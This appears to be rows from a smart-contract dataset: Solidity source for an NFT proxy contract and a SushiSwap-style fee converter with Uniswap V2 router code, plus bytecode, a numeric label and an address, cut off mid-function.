// // \:::\/:::/ / \:::\ \ \:::\ \ |::::/ / \:::\/:::/ / // // \::::::/ / \:::\ \ \:::\ \ /:::/ / \::::::/ / // // \::::/ / \:::\____\ \:::\____\/:::/ / \::::/ / // // \::/____/ \::/ / \::/ /\::/ / \::/____/ // // ~~ \/____/ \/____/ \/____/ ~~ // // // // // // // ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract TNGRD is ERC721Creator { constructor() ERC721Creator("Tangible Grids", "TNGRD") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220cfee781292993ddac59fbbfa202465261fa6e9385650d956c32819baa7d07d8d64736f6c63430008070033
[ 5 ]
0xF31A94B24bF578Bb2877B27626b4008eF11F886e
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // EIP 2612 function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../interfaces/IERC20.sol"; library SafeERC20 { function safeSymbol(IERC20 token) internal view returns(string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeName(IERC20 token) internal view returns(string memory) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03)); return success && data.length > 0 ? abi.decode(data, (string)) : "???"; } function safeDecimals(IERC20 token) public view returns (uint8) { (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567)); return success && data.length == 32 ? abi.decode(data, (uint8)) : 18; } function safeTransfer(IERC20 token, address to, uint256 amount) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: Transfer failed"); } function safeTransferFrom(IERC20 token, address from, uint256 amount) internal { (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, address(this), amount)); require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: TransferFrom failed"); } } // SPDX-License-Identifier: MIT // P1 - P3: OK pragma solidity 0.6.12; import "./libraries/SafeMath.sol"; import "./libraries/SafeERC20.sol"; import "./uniswapv2/interfaces/IUniswapV2ERC20.sol"; import "./uniswapv2/interfaces/IUniswapV2Pair.sol"; import "./uniswapv2/interfaces/IUniswapV2Factory.sol"; import "./Ownable.sol"; // TanosiaMaker is MasterChef's left hand and kinda a wizard. He can cook up Sushi from pretty much anything! // This contract handles "serving up" rewards for xSushi holders by trading tokens collected from fees for Sushi. // T1 - T4: OK contract TanosiaMaker is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // V1 - V5: OK IUniswapV2Factory public immutable factory; // V1 - V5: OK address public immutable bar; // V1 - V5: OK address private immutable sushi; // V1 - V5: OK address private immutable weth; // V1 - V5: OK mapping(address => address) internal _bridges; // E1: OK event LogBridgeSet(address indexed token, address indexed bridge); // E1: OK event LogConvert( address indexed server, address indexed token0, address indexed token1, uint256 amount0, uint256 amount1, uint256 amountSUSHI ); constructor( address _factory, address _bar, address _sushi, address _weth ) public { factory = IUniswapV2Factory(_factory); bar = _bar; sushi = _sushi; weth = _weth; } // F1 - F10: OK // C1 - C24: OK function bridgeFor(address token) public view returns (address bridge) { bridge = _bridges[token]; if (bridge == address(0)) { bridge = weth; } } // F1 - F10: OK // C1 - C24: OK function setBridge(address token, address bridge) external onlyOwner { // Checks require( token != sushi && token != weth && token != bridge, "TanosiaMaker: Invalid bridge" ); // Effects _bridges[token] = bridge; emit LogBridgeSet(token, bridge); } // M1 - M5: OK // C1 - C24: OK // C6: It's not a fool proof solution, but it prevents flash loans, so here it's ok to use tx.origin modifier onlyEOA() { // Try to make flash-loan exploit harder to do by only allowing externally owned addresses. require(msg.sender == tx.origin, "TanosiaMaker: must use EOA"); _; } // F1 - F10: OK // F3: _convert is separate to save gas by only checking the 'onlyEOA' modifier once in case of convertMultiple // F6: There is an exploit to add lots of SUSHI to the bar, run convert, then remove the SUSHI again. // As the size of the SushiBar has grown, this requires large amounts of funds and isn't super profitable anymore // The onlyEOA modifier prevents this being done with a flash loan. // C1 - C24: OK function convert(address token0, address token1) external onlyEOA() { _convert(token0, token1); } // F1 - F10: OK, see convert // C1 - C24: OK // C3: Loop is under control of the caller function convertMultiple( address[] calldata token0, address[] calldata token1 ) external onlyEOA() { // TODO: This can be optimized a fair bit, but this is safer and simpler for now uint256 len = token0.length; for (uint256 i = 0; i < len; i++) { _convert(token0[i], token1[i]); } } // F1 - F10: OK // C1- C24: OK function _convert(address token0, address token1) internal { // Interactions // S1 - S4: OK IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(token0, token1)); require(address(pair) != address(0), "TanosiaMaker: Invalid pair"); // balanceOf: S1 - S4: OK // transfer: X1 - X5: OK IERC20(address(pair)).safeTransfer( address(pair), pair.balanceOf(address(this)) ); // X1 - X5: OK (uint256 amount0, uint256 amount1) = pair.burn(address(this)); if (token0 != pair.token0()) { (amount0, amount1) = (amount1, amount0); } emit LogConvert( msg.sender, token0, token1, amount0, amount1, _convertStep(token0, token1, amount0, amount1) ); } // F1 - F10: OK // C1 - C24: OK // All safeTransfer, _swap, _toSUSHI, _convertStep: X1 - X5: OK function _convertStep( address token0, address token1, uint256 amount0, uint256 amount1 ) internal returns (uint256 sushiOut) { // Interactions if (token0 == token1) { uint256 amount = amount0.add(amount1); if (token0 == sushi) { IERC20(sushi).safeTransfer(bar, amount); sushiOut = amount; } else if (token0 == weth) { sushiOut = _toSUSHI(weth, amount); } else { address bridge = bridgeFor(token0); amount = _swap(token0, bridge, amount, address(this)); sushiOut = _convertStep(bridge, bridge, amount, 0); } } else if (token0 == sushi) { // eg. SUSHI - ETH IERC20(sushi).safeTransfer(bar, amount0); sushiOut = _toSUSHI(token1, amount1).add(amount0); } else if (token1 == sushi) { // eg. USDT - SUSHI IERC20(sushi).safeTransfer(bar, amount1); sushiOut = _toSUSHI(token0, amount0).add(amount1); } else if (token0 == weth) { // eg. ETH - USDC sushiOut = _toSUSHI( weth, _swap(token1, weth, amount1, address(this)).add(amount0) ); } else if (token1 == weth) { // eg. USDT - ETH sushiOut = _toSUSHI( weth, _swap(token0, weth, amount0, address(this)).add(amount1) ); } else { // eg. MIC - USDT address bridge0 = bridgeFor(token0); address bridge1 = bridgeFor(token1); if (bridge0 == token1) { // eg. MIC - USDT - and bridgeFor(MIC) = USDT sushiOut = _convertStep( bridge0, token1, _swap(token0, bridge0, amount0, address(this)), amount1 ); } else if (bridge1 == token0) { // eg. WBTC - DSD - and bridgeFor(DSD) = WBTC sushiOut = _convertStep( token0, bridge1, amount0, _swap(token1, bridge1, amount1, address(this)) ); } else { sushiOut = _convertStep( bridge0, bridge1, // eg. USDT - DSD - and bridgeFor(DSD) = WBTC _swap(token0, bridge0, amount0, address(this)), _swap(token1, bridge1, amount1, address(this)) ); } } } // F1 - F10: OK // C1 - C24: OK // All safeTransfer, swap: X1 - X5: OK function _swap( address fromToken, address toToken, uint256 amountIn, address to ) internal returns (uint256 amountOut) { // Checks // X1 - X5: OK IUniswapV2Pair pair = IUniswapV2Pair(factory.getPair(fromToken, toToken)); require(address(pair) != address(0), "TanosiaMaker: Cannot convert"); // Interactions // X1 - X5: OK (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountInWithFee = amountIn.mul(990); if (fromToken == pair.token0()) { amountOut = amountInWithFee.mul(reserve1) / reserve0.mul(1000).add(amountInWithFee); IERC20(fromToken).safeTransfer(address(pair), amountIn); pair.swap(0, amountOut, to, new bytes(0)); // TODO: Add maximum slippage? } else { amountOut = amountInWithFee.mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); IERC20(fromToken).safeTransfer(address(pair), amountIn); pair.swap(amountOut, 0, to, new bytes(0)); // TODO: Add maximum slippage? } } // F1 - F10: OK // C1 - C24: OK function _toSUSHI(address token, uint256 amountIn) internal returns (uint256 amountOut) { // X1 - X5: OK amountOut = _swap(token, sushi, amountIn, bar); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; // a library for performing overflow-safe math, updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a + b) >= b, "SafeMath: Add Overflow");} function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a - b) <= a, "SafeMath: Underflow");} function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {require(b == 0 || (c = a * b)/b == a, "SafeMath: Mul Overflow");} function to128(uint256 a) internal pure returns (uint128 c) { require(a <= uint128(-1), "SafeMath: uint128 Overflow"); c = uint128(a); } } library SafeMath128 { function add(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a + b) >= b, "SafeMath: Add Overflow");} function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a - b) <= a, "SafeMath: Underflow");} } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } // SPDX-License-Identifier: MIT // Audit on 5-Jan-2021 by Keno and BoringCrypto // P1 - P3: OK pragma solidity 0.6.12; // Source: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol + Claimable.sol // Edited by BoringCrypto // T1 - T4: OK contract OwnableData { // V1 - V5: OK address public owner; // V1 - V5: OK address public pendingOwner; } // T1 - T4: OK contract Ownable is OwnableData { // E1: OK event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } // F1 - F9: OK // C1 - C21: OK function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; } else { // Effects pendingOwner = newOwner; } } // F1 - F9: OK // C1 - C21: OK function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } // M1 - M5: OK // C1 - C21: OK modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.12; import './libraries/UniswapV2Library.sol'; import './libraries/SafeMath.sol'; import './libraries/TransferHelper.sol'; import './interfaces/IUniswapV2Router02.sol'; import './interfaces/IUniswapV2Factory.sol'; import './interfaces/IERC20.sol'; import './interfaces/IWETH.sol'; contract UniswapV2Router02 is IUniswapV2Router02 { using SafeMathUniswap for uint; address public immutable override factory; address public immutable override WETH; modifier ensure(uint deadline) { require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED'); _; } constructor(address _factory, address _WETH) public { factory = _factory; WETH = _WETH; } receive() external payable { assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract } // **** ADD LIQUIDITY **** function _addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin ) internal virtual returns (uint amountA, uint amountB) { // create the pair if it doesn't exist yet if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) { IUniswapV2Factory(factory).createPair(tokenA, tokenB); } (uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB); if (reserveA == 0 && reserveB == 0) { (amountA, amountB) = (amountADesired, amountBDesired); } else { uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB); if (amountBOptimal <= amountBDesired) { require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT'); (amountA, amountB) = (amountADesired, amountBOptimal); } else { uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA); assert(amountAOptimal <= amountADesired); require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT'); (amountA, amountB) = (amountAOptimal, amountBDesired); } } } function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) { (amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin); address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA); TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB); liquidity = IUniswapV2Pair(pair).mint(to); } function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) { (amountToken, amountETH) = _addLiquidity( token, WETH, amountTokenDesired, msg.value, amountTokenMin, amountETHMin ); address pair = UniswapV2Library.pairFor(factory, token, WETH); TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken); IWETH(WETH).deposit{value: amountETH}(); assert(IWETH(WETH).transfer(pair, amountETH)); liquidity = IUniswapV2Pair(pair).mint(to); // refund dust eth, if any if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH); } // **** REMOVE LIQUIDITY **** function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountA, uint amountB) { address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair (uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to); (address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB); (amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0); require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT'); require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT'); } function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) { (amountToken, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, amountToken); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountA, uint amountB) { address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB); uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountToken, uint amountETH) { address pair = UniswapV2Library.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); (amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline); } // **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) **** function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) public virtual override ensure(deadline) returns (uint amountETH) { (, amountETH) = removeLiquidity( token, WETH, liquidity, amountTokenMin, amountETHMin, address(this), deadline ); TransferHelper.safeTransfer(token, to, IERC20Uniswap(token).balanceOf(address(this))); IWETH(WETH).withdraw(amountETH); TransferHelper.safeTransferETH(to, amountETH); } function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint 